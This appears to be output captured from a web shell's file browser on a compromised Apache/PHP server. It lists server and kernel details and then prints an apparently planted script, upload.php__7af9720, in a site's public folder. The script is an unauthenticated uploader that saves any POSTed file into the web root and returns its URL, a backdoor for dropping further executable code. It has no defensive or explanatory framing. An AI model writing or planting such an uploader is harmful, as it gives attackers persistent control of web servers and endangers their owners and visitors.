HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/upload.php__7af9720
<?php
header('Content-Type: application/json');

// Get root path
$home = rtrim($_SERVER['DOCUMENT_ROOT'], '/');

// Get domain
$domen = $_SERVER['SERVER_NAME'];
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
$baseUrl = $protocol . $domen;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $fileTmpPath = $_FILES['file']['tmp_name'];
    $fileName = basename($_FILES['file']['name']);
    $destination = $home . '/' . $fileName;
    $fileUrl = $baseUrl . '/' . $fileName;

    if (move_uploaded_file($fileTmpPath, $destination)) {
        echo json_encode([
            'status' => 'success',
            'message' => 'File uploaded successfully',
            'url' => $fileUrl
        ]);
    } else {
        echo json_encode([
            'status' => 'error',
            'message' => 'Failed to move uploaded file'
        ]);
    }
} else {
    echo json_encode([
        'status' => 'error',
        'message' => 'No file uploaded'
    ]);
}
?>